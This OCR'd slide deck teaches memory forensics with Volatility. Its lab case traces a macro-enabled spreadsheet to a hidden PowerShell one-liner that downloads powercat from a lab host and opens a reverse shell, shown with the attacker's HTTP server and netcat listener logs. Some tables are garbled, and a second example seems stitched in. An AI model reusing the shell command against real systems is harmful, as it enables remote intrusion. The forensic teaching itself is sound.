

Analyzing Volatile Data

Augmenting Your Incident Response Capabilities with Memory Analysis

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- Based out of Halifax, Nova Scotia, Canada
- Over 25 years of experience cyber security
- Specialize in security of critical infrastructure, incident response, threat hunting, etc.
- Worked in the past for the various military and government agencies
- Spoken at events run by FIRST, BlackHat, FBI, DHS, ISACA, US DoD as well as lectured a numerous colleges and universities.
- CISSP, CISA, CRISC, CGEIT, GCFA
- FIRST Liaison Member



62% of businesses experienced phishing and social engineering attacks in 2018. (Source: Cybint Solutions)

52% of **breaches** featured **hacking**, 28% involved **malware** and 32–33% included **phishing** or **social engineering**, respectively. (Source: Verizon)

The **average cost** of a data breach is \$3.92 million as of 2019. (Source: Security Intelligence)

The average time to identify a breach in 2019 was 206 days. (Source: IBM)

The average lifecycle of a breach was 314 days (from the breach to containment). (Source: IBM)

Data breaches exposed 4.1 billion records in the first half of 2019. (Source: RiskBased)

Security breaches have increased by 11% since 2018 and 67% since 2014. (Source: Accenture)

While overall ransomware infections were down 52%, enterprise infections were up by 12% in 2018. (Source: Symantec)

The **top malicious email attachment types** are .doc and .dot which make up 37%, the next highest is .exe at 19.5%. (Source: Symantec)



Importance of Memory | Incident Response

- Every command, every file you open, every program you launch, every bit of data you enter traverses memory at some point → creates forensic artifacts
- However, not all programs touch the filesystem directly
- You cannot rely on any tools, commands, etc. on the system they may be compromised and display false information.
- Passwords and encryption may also pose an issue.







Memory Analysis

- Different then disk or using SysInternals which gathers data via the Windows API
- Everything in the OS traverses RAM
 - Processes and threads
 - Malware (including rootkit technologies)
 - Network sockets, URLs, IP addresses
 - Open files
 - User generated content (Passwords, clipboards)
 - Encryption keys
 - Windows registry keys and event logs



Memory Analysis

- Best place to identify malicious software activity
 - Study running system configuration
 - Identify inconsistencies (contradictions) in system
 - Bypass packers, rootkits and other hiding tools.
- Analyze and track recent activity on the system
 - Identify all recent activity in context
 - Profile user or attacker activities



- **RAM** physical memory
- Hiberfil.sys file where all of that information for Hibernate mode is stored
- Pagefile.sys swap file used when your system runs out of physical memory



What is memory-resident malware?

- AKA "fileless" malware
- Writes itself directly onto a computer's system memory.
- Leaves very few signs of infection, making it difficult for traditional tools to identify – including traditional disk imaging.
- Empire, Mimikatz designed to minimize forensic artifact creation on a compromised host's disk





Incident Response Example

- Victim receives a file on a USB drive with an attachment called "Profit-and-Loss-Statement.xlsm"
- The email states the file need to have the macros enabled given it is a dynamic spreadsheet.
- The victim opens the spreadsheet with no issues.
- This triggers remote access to the victim's computer.

	VOUT FOR		DATA RE	VIEW VI	FW				Profit-an	d-Loss-Sta	tement.xlsn	n - Excel			
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Profit and Loss (P&L) Statement															
[USD \$ millions]							2019								
()	JAN	FEB	MAR	APR	MAY	JUN	JUL	AUG	SEP	ОСТ	NOV	DEC	Full Year		
Revenue stream 1	587.0	596.3	605.8	615.4	625.2	635.1	645.2	655.4	665.8	676.4	687.1	698.0	7,692.6		
Revenue stream 2	145.6	147.9	150.2	152.6	155.0	157.5	160.0	162.5	165.1	167.7	170.4	173.1	1.907.8		
Returns Refunds Discounts	(21.0)	(21.3)	(217)	(22.0)	(22.4)	(22.7)	(23.1)	(23.5)	(23.8)	(24.2)	(24.6)	(25.0)	(275.3)		
Total Net Revenue	711.6	722.9	734.3	746.0	757.8	769.9	782.1	794.5	807.1	819.9	832.9	846.1	9.325.0		
										0.010	002.0		0,02010		
Cost of Goods Sold	269.6	273.9	278.2	282.7	287.1	291.7	296.3	301.0	305.8	310.7	315.6	320.6	3 533 2		
Gross Profit	442.0	449.0	456.1	463.3	470 7	478.2	485.7	493.5	501.3	509.2	517.3	525.5	5 791 8		
		440.0	400.1	400.0	410.1	41012	400.1	400.0	001.0	00012	011.0	01010	0,10110		
Expenses															
Advertising & Promotion	18.7	19.1	19.5	19.8	20.2	20.6	21.0	21.5	21.9	22.3	22.8	23.2	250.6		
Depreciation & Amortization	108.7	110.9	113.1	115.3	117.6	119.9	122.3	124.8	127.2	129.8	132.3	135.0	1,456.8		
Insurance	1.1	1.1	1.1	1.2	1.2	1.2	1.2	1.3	1.3	1.3	1.3	1.4	14.7		
Maintenance	5.7	5.8	5.9	6.0	6.2	6.3	6.4	6.5	6.7	6.8	6.9	7.1	76.4		
Office Supplies	2.8	2.9	2.9	3.0	3.0	3.1	3.2	3.2	3.3	3.3	3.4	3.5	37.5		
Rent	5.8	5.9	6.0	6.2	6.3	6.4	6.5	6.7	6.8	6.9	7.1	7.2	77.7		
Salaries, Benefits & Wages	251.2	256.2	261.3	266.5	2/1.8	2//.2	282.7	288.3	294.0	299.9	305.8	311.9	3,366.7		
Travel	1.5	1.5	1.6	1.6	1.6	1.7	1.7	1.7	1.8	1.8	1.8	1.9	20.1		
Itilition	2.3	2.3	2.4	2.4	2.0	2.5	2.0	2.0	1.6	1.7	2.0	2.5	18.8		
Other Expense 1	3.8	3.9	4.0	4.0	4.1	4.2	4.3	4.4	4.4	4.5	4.6	4.7	50.9		
Other Expense 2	-	-	-	-		-	-	-	-	-	-	-	-		
Total Expenses	403.0	411.0	419.2	427.5	436.0	444.7	453.5	462.5	471.7	481.1	490.6	500.4	5,401.1		
Earnings Before Interest & Taxes	39.0	38.0	36.9	35.8	34.7	33.5	32.2	30.9	29.6	28.2	26.7	25.2	390.6		
Interest Expense	2.5	2.5	2.5	2.5	2.5	2.5	2.5	2.5	2.5	2.5	2.5	2.5	30.0		
Earnings Before Taxes	36.5	35.5	34.4	33.3	32.2	31.0	29.7	28.4	27.1	25.7	24.2	22.7	360.6		
Income Taxes	10.9	10.6	10.3	10.0	9.7	9.3	8.9	8.5	8.1	7.7	7.3	6.8	108.2		
Net Earnings	25.5	24.8	24.1	23.3	22.5	21.7	20.8	19.9	19.0	18.0	16.9	15.9	252.4		



Tools - Acquisition

- Memory capture (typically free)
 - FTK Imager (https://accessdata.com)
 - Dumplt (http://www.moonsols.com)
 - Belkasoft Live RAM Capturer (https://belkasoft.com)
 - Mandiant Memoryze (https://www.fireeye.com/services/freeware/memoryze.html)
 - Magnet RAM Capture (https://www.magnetforensics.com(
 - Winpmem (http://sourceforge.net/projects/volatility.mirror)
- These tools require local admin access to the system
- There are tools that will allow you to do this remotely (i.e. F-Response, Evimetry, Belkasoft)





Tools - Acquisition (FTK Imager)





Memory Analysis

- Volatility framework
- Rekall (Google's fork of the Volatility tool – part of Google's Rapid Response (GRR) project)
- FireEye Redline





Memory Profile # vol.py -f mem.vmem *imageinfo*

Searches for the Kernel Debugger Block (KDBG)

- Structure of memory used by the Windows kernel for debugging processes
- Analysis of this structure will allow the **imageinfo plugin** to determine from which operating system the memory originated
- If we get this wrong, we will get unexpected results or no results at all

Suggested Profile(s)	: Win10x64_17134, Win10x64_14393, Win10x64_10586, Win10x64_16299, Win2016x64_14393,
	Win10x64_15063 (Instantiated with Win10x64_15063)
AS Layer1	: SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2	: FileAddressSpace (/cases/Mem/mem.vmem)
PAE type	: NO PAE
DTB	: 0x1ab000L
KDBG	: 0xf800ced534f0L
Number of Processors	: 2
Image Type (Service Pack)	: 0
KPCR for CPU 0	: 0xfffff800cde4f000L
KPCR for CPU 1	: 0xffffcf801d400000L
KUSER_SHARED_DATA	: 0xfffff7800000000L
Image date and time	: 2020-10-05 19:43:21 UTC+0000
Image local date and time	: 2020-10-05 12:43:21 -0700



Core Functionality of Volatility | Plugins

imageinfo image identification pslist List system processes view the process listing in tree form pstree List inactive or hidden processes psscan dlllist List DLLs cmdscan commands on cmd notepad notepad iehistory IE history active and terminated connections netscan sockets TCP/UDP connections physical addresses of registry hives hivescan hivelist virtual addresses of registry hives running services svcscan mimikatz get the passwords malfind hidden, malicious code analysis

psxview connections filescan modules driverscan apihooks memmap memdump procdump modscan hollowfind netscan hashdump hivedump clipboard

processes that try to hide themselves network connections files in physical memory loaded kernel drivers drivers in physical memory hooked processes shows which pages are memory resident dump all memory resident pages dump the an exe process hidden/unlinked drives find evidence of process hollowing scan for network artifacts extract and decrypt cached domain credentials list all subkeys in a hive recursively recover data from users' clipboards

"list" vs. "scan" plugins

- "list" plugins attempt to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of _EPROCESS structures in memory), OS handles (locating and listing the handle, etc.)
- "scan" plugins will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures.



Process List | # vol.py -f mem.vmem --profile=Win10x64_15063 *pslist*

Offset(V)	Name	PID	PPID	Thds	Hnds	Sess	Wow64	Start		Exit
0xffffa680f7651040	System	4	0	115	0		0	2020-10-05	15.17.30 UTC+0000	
0xffffa680f86c3380	SMSS AVA	280	4	2	0		0	2020-10-05	15:17:30 UTC+0000	
0xffffa680f8b04440		392	372	11	0	0	Θ	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8f0d080	Smcs AVA	460	280			1	0	2020-10-05	15:17:31 UTC+0000	2020-10-05 15:17:31 UTC+0000
0xffffa680f8f12080	wininit exe	468	372	1	Θ	ē.	Ø	2020-10-05	15:17:31 UTC+0000	2020 10 05 15.17.51 010,0000
0xffffa680f8f11080	CSESS AVA	476	460	12	0	1	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8f67480	winlogon.exe	564	460	3	0	1	ē.	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8f8e080	services.exe	608	468	5	0	õ	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8f95080	lsass exe	616	468	8	0	0	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8fe67c0	sychost exe	712	608	21	0	0	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f8fe5640	fontdryhost.ex	720	564	5	õ	1	Ø	2020-10-05	15:17:31 UTC+0000	
0xffffa680f902b080	fontdryhost.ex	728	468	5	o	0	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f90bb7c0	sychost.exe	824	608	13	0	0	0	2020-10-05	15:17:31 UTC+0000	
0xffffa680f9117080	dwm.exe	936	564	11	0	1	Θ	2020-10-05	15:17:31 UTC+0000	
0xffffa680f91427c0	sychost.exe	996	608	58	0	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f9167640	sychost.exe	292	608	46	Ø	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f916a7c0	sychost.exe	324	608	18	Θ	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f918f500	svchost.exe	480	608	24	Θ	Θ	0	2020-10-05	15:17:32 UTC+0000	
0xffffa680f91a6080	sychost.exe	332	608	15	Θ	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f767d7c0	dasHost.exe	1180	332	12	0	0	0	2020-10-05	15:17:32 UTC+0000	
0xffffa680f76c77c0	svchost.exe	1276	608	21	0	Θ	0	2020-10-05	15:17:32 UTC+0000	
0xffffa680f76cd7c0	svchost.exe	1328	608	7	Θ	Θ	0	2020-10-05	15:17:32 UTC+0000	
0xffffa680f8e54080	svchost.exe	1416	608	4	O	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f8e767c0	svchost.exe	1424	608	9	Θ	0	Θ	2020-10-05	15:17:32 UTC+0000	
0xffffa680f8e947c0	svchost.exe	1456	608	8	0	0	Θ	2020-10-05	15:17:32 UTC+0000	
<pre>୬xffffa680f80ca7c0</pre>	InstallAgent.e	4500	712	7	0	1	Θ	2020-10-05	15:38:46 UTC+0000	
€ 3xffffa680f9610080	InstallAgentUs	4764	712	7	0	1	Θ	2020-10-05	15:38:46 UTC+0000	
<pre>୬xffffa680fa4ed7c0</pre>	TabTip.exe	3424	332	0		1	Θ	2020-10-05	16:31:20 UTC+0000	2020-10-05 16:31:33 UTC+0000
<pre>Эxffffa680faaa2080</pre>	SkypeHost.exe	2012	712	9	0	1	Θ	2020-10-05	16:31:21 UTC+0000	
0xffffa680f9bc3080	SystemSettings	4024	712	24	0	1	Θ	2020-10-05	17:03:43 UTC+0000	
<pre>0xffffa680f7ee5380</pre>	audiodg.exe	4040	1328	7	0	0	Θ	2020-10-05	19:37:17 UTC+0000	
xffffa680f9829080	sppsvc.exe	7048	608	9	0	0	Θ	2020-10-05	19:42:45 UTC+0000	
<pre>Эxffffa680fa483080</pre>	SearchProtocol	2968	3316	8	0	Θ	Θ	2020-10-05	19:42:55 UTC+0000	
<pre>Эxffffa680fa53b400</pre>	SearchFilterHo	2532	3316	7	0	0	0	2020-10-05	19:42:55 UTC+0000	
3xffffa680f96237c0	EXCEL.EXE	7072	3040	18	0	1	1	2020-10-05	19:42:57 UTC+0000	
<pre>Эxffffa680f9e3f340</pre>	powershell.exe	2028	7072	23	0	1	1	2020-10-05	19:42:58 UTC+0000	
3xffffa680fa536080	conhost.exe	3296	2028	11	0	1	0	2020-10-05	19:42:58 UTC+0000	
<pre>Эxffffa680f80cb080</pre>	cmd.exe	3172	2028	2	0	1	1	2020-10-05	19:43:01 UTC+0000	
<pre>Эxffffa680f81ec7c0</pre>	cmd.exe	1968	2136	0		0	Θ	2020-10-05	19:43:21 UTC+0000	2020-10-05 19:43:21 UTC+0000
<pre>9xffffa680f9b287c0</pre>	conhost.exe	7100	1968	2	0	0	Ø	2020-10-05	19:43:21 UTC+0000	



Process Tree # vol.py -f mem.vmem --profile=Win10x64_15063 *pstree*

Name	Pid	PPid	Thds	Hnds	Time		
••••••••••••••••••••••••							
0xffffa680f8b04440:csrss.exe	392	372	11	0	2020-10-05	15:17:31	UTC+0000
0xffffa680f8f12080:wininit.exe	468	372	1	0	2020-10-05	15:17:31	UTC+0000
. 0xffffa680f902b080:fontdrvhost.ex	728	468	5	0	2020-10-05	15:17:31	UTC+0000
. 0xffffa680f8f8e080:services.exe	608	468	5	0	2020-10-05	15:17:31	UTC+0000
0xffffa680f8ed37c0:spoolsv.exe	1548	608	12	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f8e767c0:svchost.exe	1424	608	9	Θ	2020-10-05	15:17:32	UTC+0000
0xffffa680f8c567c0:vmtoolsd.exe	2136	608	11	Θ	2020-10-05	15:17:34	UTC+0000
0xffffa680f81ec7c0:cmd.exe	1968	2136	0		2020-10-05	19:43:21	UTC+0000
<pre> 0xffffa680f9b287c0:conhost.exe</pre>	7100	1968	2	0	2020-10-05	19:43:21	UTC+0000
0xffffa680f96497c0:NisSrv.exe	3148	608	9	0	2020-10-05	15:17:36	UTC+0000
0xffffa680f8e947c0:svchost.exe	1456	608	8	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f9167640:svchost.exe	292	608	46	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f8c377c0:SecurityHealth	2076	608	5	0	2020-10-05	15:17:33	UTC+0000
0xffffa680f76cd7c0:svchost.exe	1328	608	7	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f7ee5380:audiodg.exe	4040	1328	7	0	2020-10-05	19:37:17	UTC+0000
0xffffa680f8e54080:svchost.exe	1416	608	4	Θ	2020-10-05	15:17:32	UTC+0000
0xffffa680f9957300:svchost.exe	3548	608	14	0	2020-10-05	15:18:45	UTC+0000
0xffffa680f90bb7c0:svchost.exe	824	608	13	0	2020-10-05	15:17:31	UTC+0000
0xffffa680fa3026c0:SearchIndexer.	3316	608	17	Θ	2020-10-05	15:25:20	UTC+0000
0xffffa680fa53b400:SearchFilterHo	2532	3316	7	Θ	2020-10-05	19:42:55	UTC+0000
0xffffa680fa483080:SearchProtocol	2968	3316	8	Θ	2020-10-05	19:42:55	UTC+0000
0xffffa680f918f500:svchost.exe	480	608	24	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f916a7c0:svchost.exe	324	608	18	0	2020-10-05	15:17:32	UTC+0000
0xffffa680f8fe67c0:svchost.exe	712	608	21	0	2020-10-05	15:17:31	UTC+0000
0xffffa680f80ca7c0:InstallAgent.e	4500	712	7	0	2020-10-05	15:38:46	UTC+0000
0xffffa680f9bfc7c0:SearchUI.exe	2200	712	34	Θ	2020-10-05	15:18:47	UTC+0000
0xffffa680f7651040:System	4	Θ	115	Θ	2020-10-05	15:17:30	UTC+0000
. 0xffffa680f8c81040:MemCompression	2264	4	18	Θ	2020-10-05	15:17:34	UTC+0000
. 0xffffa680f86c3380:smss.exe	280	4	2	Θ	2020-10-05	15:17:30	UTC+0000
0xffffa680f8f0d080:smss.exe	460	280	Θ		2020-10-05	15:17:31	UTC+0000
0xffffa680f8f67480:winlogon.exe	564	460	3	Θ	2020-10-05	15:17:31	UTC+0000
0xffffa680f9117080:dwm.exe	936	564	11	0	2020-10-05	15:17:31	UTC+0000
0xffffa680f8fe5640:fontdrvhost.ex	720	564	5	Θ	2020-10-05	15:17:31	UTC+0000
0xffffa680f99927c0:userinit.exe	3772	564	Θ		2020-10-05	15:18:45	UTC+0000
0xffffa680f99b47c0:explorer.exe	3040	3772	87	0	2020-10-05	15:18:45	UTC+0000
0xffffa680f88d57c0:MSASCuiL.exe	904	3040	3	0	2020-10-05	15:18:59	UTC+0000
0xffffa680f955a1c0:OneDrive.exe	4996	3040	18	0	2020-10-05	15:19:02	UTC+0000
0xffffa680f96237c0:EXCEL.EXE	7072	3040	18	0	2020-10-05	19:42:57	UTC+0000
	2028	7072	23	0	2020-10-05	19:42:58	UTC+0000
0xffffa680f80cb080:cmd.exe	3172	2028	2	0	2020-10-05	19:43:01	UTC+0000
0xffffa680fa536080:conhost.exe	3296	2028	11	0	2020-10-05	19:42:58	UTC+0000



Process Tracing | # vol.py -f mem.vmem --profile=Win10x64_15063 *psscan -output=dot --output-file=file.dot*







Network List # vol.py -f mem.vmem --profile=Win10x64_15063 *netscan*

	bffset(P) 0xa6807764 0xa6807784 0xa6807784 0xa6807784 0xa6807784 0xa6807784 0xa6807766 0xa6807766 0xa6807766 0xa6807766 0xa6807766 0xa6807761 0xa6807761 0xa6807761 0xa6807761 0xa6807760 0xa6807760 0xa6807760 0xa6807760 0xa6807760 0xa6807761 0xa6807620 0xa6807621 0xa6807621 0xa6807622 0xa6807616 0xa6807616 0xa6807616 0xa6807616 0xa6807616	Proto 0010 UDPv4 ueco TCPv4 ueco TCPv4 ueco UDPv4 ueco UDPv4 ueco UDPv4 ueco UDPv4 ueco UDPv4 ueco TCPv4 <	Local Address 192.168.2.234:58110 fe80::3901:8969:300a:991:58160 0.0.0.0:3702 11:3702 0.0.0.0:49665 0.0.0.0:49665 11:49665 0.0.0.0:49666 192.168.2.234:137 0.0.0.0:3702 11:3702 0.0.0.0:5353 0.0.0.0:5353 0.0.0.0:53702 11:3702 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:51498 192.168.2.234:50897 0.0.0.0:3702 11:3702 0.0.0.0:3702 11:3702 0.0.0.0:58113 11:58113 0.0.0.0:58153 11:5813 0.0.0.0:58153 11:5813 0.0.0.0:58097 0.0.0.0:00 192.168.2.234:50897 0.0.0.0:59267 11:59267 0.0.0.0:00	Foreign Address *:* 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0 0.0.0.0 0.0.0.0 0.0.0 0.0.0 0.0.0 0.0 0.0.0 0.0 0.0.0 0.	State LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING CLOSED CLOSED CLOSED CLOSED CLOSED	Ptd 1780 1780 1780 996 996 324 996 324 4 1780 1276 1276 1276 1276 1276 1276 1276 1276	Owner svchost.exe	Created 2020-10-05 16:31:24 UTC4 2020-10-05 16:31:24 UTC4 2020-10-05 19:43:21 UTC4 2020-10-05 19:43:21 UTC4 2020-10-05 15:17:32 UTC4 2020-10-05 19:43:21 UTC4 2020-10-05 10:43:27 UTC4 2020-10-05 10:43:27 UTC4 2020-10-05 10:43:27 UTC4 2020-10-05 10:43:27 UTC4 2020-10-05 10:43:27 UTC4 2020-10-0	-0000 -0	
	0xa680f81a 0xa680f835	la30 UDPv4 06b0 UDPv6	0.0.0.0:0 ::1:58109	*:* *:*		2028 1780	powershell.ex svchost.exe	e 2020-10-05 19:43:00 UTC- 2020-10-05 16:31:24 UTC-	0000	
UDPv4 UDPv4 UDPv6 UDPv4 UDPv6 TCPv4 UDPv4	0.0.0.0:0 0.0.0.0:0 :::0 0.0.0.0:0 :::0 192.168.2.234 0.0.0.0:0	:51505	*:* *:* *:* *:* 192.168.2. *:*	244:1234 CI	LOSED		2028 2028 2028 2028 2028 2028 2028 2028	powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe	2020-10 5 19 2020- 2027 2020- 2020- 2020- 5 19:4 2020-10-05 19:4	0000 +0000 UTC+0000 3:00 UTC+0000 3:00 UTC+0000

0xa680f81ada30 0xa680f8e8cec0 0xa680f8e8cec0 0xa680f9373310 0xa680f9373310 0xa680f935ecc0 0xa680f9a5ecc0



Command Line | # vol.py -f mem.vmem --profile=Win10x64_15063 *cmdline -p 2028*

powershell.exe pid: 2028 Command line : powershell.exe -WindowStyle Hidden -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.2.244/powercat.ps1');powercat -c 192.168.2.244 -p 1234 -e cmd

- PowerShell Downloading a PS script called Powercat
- Executing a reverse shell to the same host on port 1234
- Bypassed most AV tools when tested

Retrieval of the Powercat PS1

root@kali:/home/kali/powercat# pythor	n -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80	
192.168.2.234 [07/Oct/2020 19:05:	42] "GET /powercat.psl HTTP/1.1" 200 -
192.168.2.234 [07/Oct/2020 19:06:	45] "GET /powercat.psl HTTP/1.1" 200 -
192.168.2.234 [07/Oct/2020 19:07:	15] "GET /powercat.psl HTTP/1.1" 200 -
192.168.2.234 [07/Oct/2020 19:08:	10] "GET /powercat.ps1 HTTP/1.1" 200 -
192.168.2.234 [07/Oct/2020 19:08:	55] "GET /powercat.psl HTTP/1.1" 200 -

Reverse Shell to Victim

ali:/home/kali# nc -lvp 1234 istening on [any] 1234 ... 192.168.2.234: inverse host lookup failed: Unknown host onnect to [192.168.2.244] from (UNKNOWN) [192.168.2.234] 50576 icrosoft Windows [Version 10.0.15063] 2017 Microsoft Corporation. All rights reserved. \Users\Amy Walsh\Documents> \Users\Amv Walsh\Documents>whoami oami esktop-9pkickn\amy walsh \Users\Amy Walsh\Documents>dir Volume in drive C has no label. Volume Serial Number is C4EE-5AC8 Directory of C:\Users\Amy Walsh\Documents /07/2020 04:12 PM /07/2020 04:12 PM /05/2020 11:27 AM 13,204 Bookl.xlsm /05/2020 10:07 AM <DIR> Custom Office Templates /05/2020 12:39 PM 20,489 Profit-and-Loss-Statement.xlsm 2 File(s) 33,693 bytes 3 Dir(s) 34,056,998,912 bytes free

:\Users\Amy Walsh\Documents>



Network Scanning and Process Tree

vol.py -f mem.vmem --profile=Win10x64_15063 netscan

# vol.py -f mem.vmemprofile=Win10x64_15063 netscan											
Volatility Foundation Volatility Framework 2.6.1											
Offset(P) Local Address Foreign Address Pid											
0xa680f764b010	172.16.176.143:1054	185.193.90.250:80	856								
0xa680f764d400	0.0.0.1056	185.193.90.250:80	856								

vol.py -f mem.vmem --profile=Win10x64_15063 pstree

<pre># vol.py -f mem.vmemprofile=Win10x64_15063 pstree Volatility Foundation Volatility Framework 2.6.1 Name</pre>	Pid	PPid	Thds	Hnds	Time		
0xffffa680f7651040:System	4	0	58	379	2020-10-05	15:17:30	UTC+0000
. 0xffffa680f86c3380:smss.exe	544	4	3	21	2020-10-05	15:17:30	UTC+0000
0xffffa680f8f67480:winlogon.exe	632	544	24	536	2020-10-05	15:17:31	UTC+0000
<pre> 0xffffa680f9117080:lsass.exe</pre>	688	632	21	405	2020-10-05	15:17:31	UTC+0000
<pre> 0xffffa680f8fe5640:services.exe</pre>	676	632	16	288	2020-10-05	15:17:31	UTC+0000
0xffffa680f99927c0:cmd.exe	124	676	0		2020-10-05	15:18:45	UTC+0000
<pre> 0xffffa680f99b47c0:svchost.exe</pre>	856	676	29	336	2020-10-05	15:18:45	UTC+0000



IP Indicator Lookup

- We can see that svchost.exe is the process which is making connections with 185.193.90.250 instead of an Internet Browser
- http://www.ipvoid.com/scan/185
 .193.90.250/

Analysis Date	2020-10-06 11:26:17
Elapsed Time	25 seconds
Blacklist Status	BLACKLISTED 10/115
IP Address	185.193.90.250 Find Sites IP Whois
Reverse DNS	Unknown
ASN	AS204428
ASN Owner	SS-Net
ISP	SS-Net
Continent	Europe
Country Code	📻 (RU) Russia
Latitude / Longitude	55.7386 / 37.6068 Google Map
City	Unknown
Region	Unknown



Process Dump | # vol.py -f mem.vmem --profile=Win10x64_15063 procdump -p PID --dump-dir=./

- We can then dump the process we know is calling out svchost.exe to a file
- SHA/MD5 the dump file or upload the .exe itself
- Input it into VirusTotal
- Voila! Zeus variant

53	(1) 53 engines detected this file		
Community V	8e3be5dc65aa35d68fd2aba1d3d9bf0f40d5118fe22eb2e6c97c8463bd1f1ba1 process.0x80ff88d8.0xb70000.dmp invalid-rich-pe-checksum overlay peexe		152.00 KB 2020-09-09 04:32:01 UTC Size 27 days ago
DETECTION D	ETAILS BEHAVIOR COMMUNITY		
Ad-Aware	() Gen:Variant.Razy.447136	AegisLab	1 Trojan.Win32.Zbot.4!c
AhnLab-V3	Worm/Win32.IRCBot.C136977	Alibaba	() TrojanPSW:Win32/Generic.c5719b8a
ALYac	() Gen:Variant.Razy,447136	Antiy-AVL	① Trojan[Spy]/Win32.Zbot
SecureAge APEX	() Malicious	Arcabit	() Trojan.Razy.D6D2A0
Avast	① Sf:Crypt-BT [Trj]	AVG	① Sf:Crypt-BT [Trj]
Avira (no cloud)	① TR/Patched.Ren.Gen	BitDefender	() Gen:Variant.Razy.447136
BitDefenderTheta	() Gen:NN.ZexaF.34216.jqZ@aqTeVHc	Bkav	U W32.AlDetectVM.malware2
CAT-QuickHeal	① Trojanpws.Zbot.7465	ClamAV	U Win.Malware.Agent-6369755-0
Comodo	TrojWare.Win32.Spy.Zbot.ABW@1qnp50	CrowdStrike Falcon	() Win/malicious_confidence_100% (W)
Cybereason	Malicious.ae96c0	Cylance	① Unsafe
Cynet	() Malicious (score: 100)	Cyren	U W32/Zbot.AG.gen!Eldorado
eGambit	Unsafe.AI_Score_97%	eScan	① Gen:Variant.Razy.447136
ESET-NOD32	A Variant Of Generik.BONCNZM	F-Secure	① Trojan.TR/Patched.Ren.Gen
FireEye	() Generic.mg.59f1993ae96c0108	Fortinet	W32/Kryptik.BZAX!tr
GData	() Gen:Variant.Razy.447136	Ikarus	① Trojan-Spy.Zbot



Registry UserAssist | # vol.py -f mem.vmem --profile=Win10x64_15063 *userassist*

GUI-based programs launched from the desktop are tracked in the launcher on a Windows System

x00000630	df	9a	90	77	00	00	00	00	b2	00	05	00	00	00	00	00	W
x00000640	01	00	00	00	00	00	00	00	00	00	00	00					
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ime Focused	d:	0	06	20	500	000	9										
ast undated	d:	20	120	06	-14	11	36	46	υтα	+00	999						
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x00000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
x00000020	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
x00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	a0	ff	0e	16	
x00000040	40	42	d6	01	00	00	00	00									@B
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x000000000	00	00	80	hf	00	00	80	hf	60	00	80	hf	60	00	80	hf	
x000000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
x00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	a0	ff	0e	16	
x00000040	40	42	d6	01	00	00	00	00		•••	• •		00			10	@B
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ocus Count	:	1	5														
ime Focused	d:	0	:05	:00	. 500	9000	Э										
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aw Data:																	
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x00000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
x00000020	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
x00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	a0	ff	0e	16	

Focus Count:	:	1	82														
Time Focused	: b	6	:56	:58	.74	8000	Э										
Last updated	: b	20	020	-08	-09	11	:15	:33	UT	C+0(900						
Raw Data:																	
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9x00000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9x00000020	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9x00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	90	ас	23	66	#f
9x00000040	3e	бе	d6	01	00	00	00	00									>n
REG BINARY		c:\(Use	rs\	admi	in\1	Dowi	nloa	ads	\vl	c - 3	.0.	10-1	vin	32.0	exe	:
Count:		0															
Focus Count:	:	8															
Time Focused	: b	0	:01	:45	.63	9000	Э										
Last updated	:t	1	970	-01	-01	00	:00	:00	UT	C+0(900						
Raw Data:																	
9x00000000	00	00	00	00	00	00	00	00	08	00	00	00	aa	9a	01	00	
9x00000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9x00000020	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9x00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	00	00	00	00	
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9×00000010	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9×00000020	00	00	80	bf	00	00	80	bf	00	00	80	bf	00	00	80	bf	
9×00000030	00	00	80	bf	00	00	80	bf	ff	ff	ff	ff	90	3b	c6	bd	
9x00000040	e2	6d	d6	01	00	00	00	00									.m
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ocus count:	•	4															



Registry Shellbags | # vol.py -f mem.vmem --profile=Win10x64_15063 *shellbags*

Which folders were accessed on the local machine, the network, and/or removable devices.

Last updated: 2020-10-05 19:37:20 UTC+0000											
Value	Mru	File Name	Modified Date	Create Date	Access Date	File Attr	Path				
